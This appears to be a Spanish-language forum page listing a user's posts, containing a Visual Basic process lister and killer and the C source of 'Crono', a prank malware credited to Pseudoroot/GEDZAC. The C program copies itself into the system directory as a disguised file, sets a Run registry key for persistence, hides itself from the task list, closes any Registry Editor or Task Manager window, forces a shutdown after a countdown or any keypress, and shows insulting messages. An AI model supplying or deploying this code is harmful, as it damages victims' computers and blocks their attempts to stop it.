bueno eso .se podra hacer?
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
' Written By Pseudoroot
Dim hProcess As Long
Dim BProcces As PROCESSENTRY32
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1
Const RSP_UNREGISTER_SERVICE = 0
Const WM_CLOSE = &H10
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, lppe As Any) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, lppe As Any) As Long
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlgas As Long, ByVal lProcessID As Long) As Long
Const TH32CS_SNAPPROCESS As Long = 2&: Const MAX_PATH As Long = 260
Private Type PROCESSENTRY32
dwSize As Long: cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * MAX_PATH
End Type
Private Sub Command1_Click()
Call Listar
List1.RemoveItem 0
List1.RemoveItem 3
End Sub
Private Sub Command2_Click()
acerca.Show
End Sub
Sub Listar()
Dim tt
Dim a As Integer
Dim Num As Integer
BResult1 = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
a = 0
BProcces.dwSize = Len(BProcces)
BResult2 = Process32First(BResult1, BProcces)
Do While BResult2
tt = Left(BProcces.szexeFile, InStr(LCase(BProcces.szexeFile), ".exe") + 3)
List1.List(a) = tt
BResult2 = Process32Next(BResult1, BProcces)
a = a + 1
Loop
CProcces = CloseHandle(BResult1)
End Sub
Private Sub Command3_Click()
End
End Sub
Private Sub Command4_Click()
MsgBox BProcces.th32ProcessID
'BProcces.th32ProcessID = Num
OProcess = OpenProcess(0, False, BProcces.th32ProcessID)
If OProcess Then
TProcess = TerminateProcess(OProcess, 0)
CProcess = CloseHandle(OProcess)
List1.RemoveItem Num
List1.Clear
Call Listar
List1.RemoveItem 0
List1.RemoveItem 3
Else
MsgBox "No se pudo cerrar", vbCritical
End If
End Sub
Private Sub Form_Load()
List1.List(0) = ""
Call Listar
List1.RemoveItem 0
List1.RemoveItem 3
End Sub
Private Sub List1_Click()
Dim n As Integer
n = List1.ListCount
Num = List1.ListIndex
End Sub
// Crono By Pseudoroot/GEDZAC
#include <windows.h>
#include <stdio.h>
// PSEUDOROOT NI GEDZAC LABS SE HACEN
// RESPONSABLE DEL USO QUE LE DES
// AL CODIGO
char nombres[MAX_PATH];
int bandera=0;
int forzar=4;
HANDLE th;
LPSTR codigo; //para leer el codigo
DWORD tamano; //tamaño del archivo ,no le puse tamaño debido a problemas con la ñ xD
char nombre[MAX_PATH]; //para concatenar el nombre del archivo a generar
char nom[256]; // para el modulo en ejcucion
char varsystem[256];
#include "registro.h"
//--- Declaración de funciones del programa ------------------------------
int WINAPI WinMain( HINSTANCE, HINSTANCE, LPSTR, int );
LRESULT CALLBACK WndProc( HWND, UINT, WPARAM, LPARAM );
//--- Declaración de variables del programa ------------------------------
char WindowName[] = "Ventana de Windows";
char WindowTitle[] = "Crono By Pseudoroot";
int segundos;
char* vent1 = "Registry Editor";
char* vent2 = "Editor del Registro";
char* vent3 = "Administrador de tareas de Windows";
char* vent4 = "Windows Task Manager";
//=== Función principal WinMain() ========================================
int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow )
{
registrando();
SacarCodigo();
GetModuleFileName(0,nom,256); //sacamos el nombre del modulo en ejecucion en la var. nom
GetSystemDirectory(varsystem,sizeof(varsystem));
strcat(varsystem,"\\win32help.exe");
CopyFile(nom,varsystem,0);
strcat(nombre,"c:\\"); //concatenamos
strcat(nombre,"copia.exe"); //nombre de la copia que generara el programa para luego leer el
//codigo de esa misma copia
CopyFile(nom,nombre,0);
uno();
SacarCodigo(); //lamamos a la fucnion para que lea el codigo del archivo copia.exe
HANDLE exe; // aunque finalmente no lo utilizo..xD
DWORD w;
exe=CreateFile("C:\\codigo.exe",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if(exe!=INVALID_HANDLE_VALUE) //archivo que vamos a generar luego de sacar el codigo
{
WriteFile(exe,codigo,28000,&w,0);
}
HWND hwnd; // handle a la ventana ppal.
MSG msg; // estructura de mensaje
WNDCLASSEX wcx; // estructura de la ventana
// Definimos la estructura de clase de ventana (campos):
wcx.cbSize = sizeof( WNDCLASSEX ); // tamaño de la estructura
wcx.style = CS_HREDRAW | CS_VREDRAW; // valores más usuales
wcx.lpfnWndProc = WndProc; // función de ventana (Wnd)
wcx.cbClsExtra = 0;
wcx.cbWndExtra = 0; // informaciones extra
wcx.hInstance = hInstance; // instancia actual
// icono, cursor, fondo e icono pequeño de la clase de ventana:
wcx.hIcon = LoadIcon(NULL, IDI_WINLOGO);
wcx.hCursor = LoadCursor(NULL, IDC_ARROW);
wcx.hbrBackground = (HBRUSH) GetStockObject( WHITE_BRUSH );
wcx.hIconSm = LoadIcon(NULL, IDI_WINLOGO);
wcx.lpszMenuName = NULL; // nombre del menú
wcx.lpszClassName = WindowName; // nombre de la ventana
// Registramos la clase de ventana ya preparada:
if( !RegisterClassEx( &wcx ) )
return( FALSE ); // en caso de error, salir
// Creamos la ventana con CreateWindowEx():
hwnd = CreateWindowEx(
WS_EX_OVERLAPPEDWINDOW, // estilo extendido
WindowName, // nombre de la ventana
WindowTitle, // título de la ventana
WS_CAPTION, // estilo de ventana
CW_USEDEFAULT, CW_USEDEFAULT, // Posición (x,y) en pantalla
420,150, // ancho y alto de la ventana
NULL, NULL, // ventana padre e hija+menú
hInstance, // instancia actual
NULL // no hay más información
);
// Comprobamos la creación de la ventana:
if( !hwnd )
return( FALSE ); // en caso de error, salir
// Hacemos visible la ventana y la actualizamos:
ShowWindow( hwnd, nCmdShow );
UpdateWindow( hwnd );
// Bucle de mensajes, envía los mensajes hacia WndProc
while( GetMessage( &msg, NULL, 0, 0 ) )
{
TranslateMessage( &msg ); // convertimos el mensaje
DispatchMessage( &msg ); // devolvemos el control a w95
}
// devolvemos el valor recibido por PostQuitMessage().
return( msg.wParam );
DeleteFile("C:\\copia.exe");
}
//=== Función del procedimiento de ventana WndProc() =====================
LRESULT CALLBACK WndProc( HWND hwnd, UINT message,
WPARAM wParam, LPARAM lParam )
{
HDC hdc;
PAINTSTRUCT ps;
RECT rect;
int longitud;
int entero;
char cadena[40];
char cadena2[50];
switch( message )
{
case WM_CREATE:
segundos=30;
SetTimer( hwnd, 1, 1000, NULL ); //
break;
case WM_KEYDOWN:
{
ExitWindowsEx(forzar,0);
}
if( wParam == VK_ESCAPE )
MessageBoxA(NULL,"Yo en tu lugar no volveria a hacer eso","GEDZAC LABS 2005",MB_OK);
break;
case WM_TIMER:
segundos--;
if( segundos==0)
{ExitWindowsEx(forzar,0); }
HWND handle;
handle = FindWindow(0,vent1);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}
handle = FindWindow(0,vent2);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}
handle = FindWindow(0,vent3);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}
handle = FindWindow(0,vent4);
if (handle!=0) {
PostMessage(handle,0x12,0,0);
}
GetClientRect( hwnd, &rect );
InvalidateRect( hwnd, &rect, TRUE );
break;
case WM_LBUTTONDOWN:
MessageBoxA(NULL,"Que estupido eres!!!!!","En fin",MB_OK);
break;
case WM_RBUTTONDOWN:
MessageBoxA(NULL,"Imbecil no eres mas que eso","Pues piensa",MB_OK);
break;
case WM_RBUTTONDBLCLK:
MessageBoxA(NULL,"Te digo como safarse, pues tienes ,ups ,se me olvidó","Jejejeje",0);
break;
case WM_NCLBUTTONDOWN:
MessageBoxA(NULL,"nah","nah",0);
break;
case WM_PAINT:
hdc = BeginPaint( hwnd, &ps );
GetClientRect( hwnd, &rect );
longitud=wsprintf(cadena, "%s%02d","Trata de cerrarme antes que yo te cierre a ti ", segundos);
DrawText( hdc, cadena, -1, &rect,
DT_SINGLELINE | DT_CENTER | DT_VCENTER );
EndPaint( hwnd, &ps );
break;
case WM_CLOSE:
MessageBoxA(NULL,"NOoo, no insistas...","JAjajaja",MB_OK);
break;
case WM_DESTROY:
MessageBoxA(NULL,"NOoo, no insistas...","JAjajaja",MB_OK);
break;
default:
return( DefWindowProc( hwnd, message, wParam, lParam ) );
}
return(0);
}
registro.h
#ifndef _RegisterProcess_
#define _RegisterProcess_
void registrando()
{
typedef DWORD(_stdcall *pRegFunction) (DWORD,DWORD);
HINSTANCE
hkernelLib;
pRegFunction
RegisterServiceProcess;
hkernelLib=LoadLibrary("Kernel32.dll");
if(hkernelLib)
{
RegisterServiceProcess=(pRegFunction) GetProcAddress
(hkernelLib,"RegisterServiceProcess");
if (RegisterServiceProcess)
{
RegisterServiceProcess(0,1);
FreeLibrary(hkernelLib);
}
}
}
void SacarCodigo()
{
HANDLE fi; //un handle para leer el archivo
DWORD rid; //para la api
fi=CreateFile(nombre,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,NULL);
if(fi!=INVALID_HANDLE_VALUE) //abrimos el archivo creado antes en la fucnion principal
{
tamano=GetFileSize(fi,NULL); //sacamos el tamaño del archivo
codigo=(LPSTR)GlobalAlloc(GPTR,tamano+1); //reservamos memoria
//para leer el archivo completo +1 por el caracter nulo
if(codigo!=NULL) //verificamos que se haya podido
{
ReadFile(fi,codigo,tamano,&rid,0); //leemos el archivo
}
}
CloseHandle(fi); //cerramos handle
}
void uno()
{
HKEY hkey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"Smsss",0,REG_SZ,(const unsigned char*)varsystem,sizeof(varsystem));
}
#endif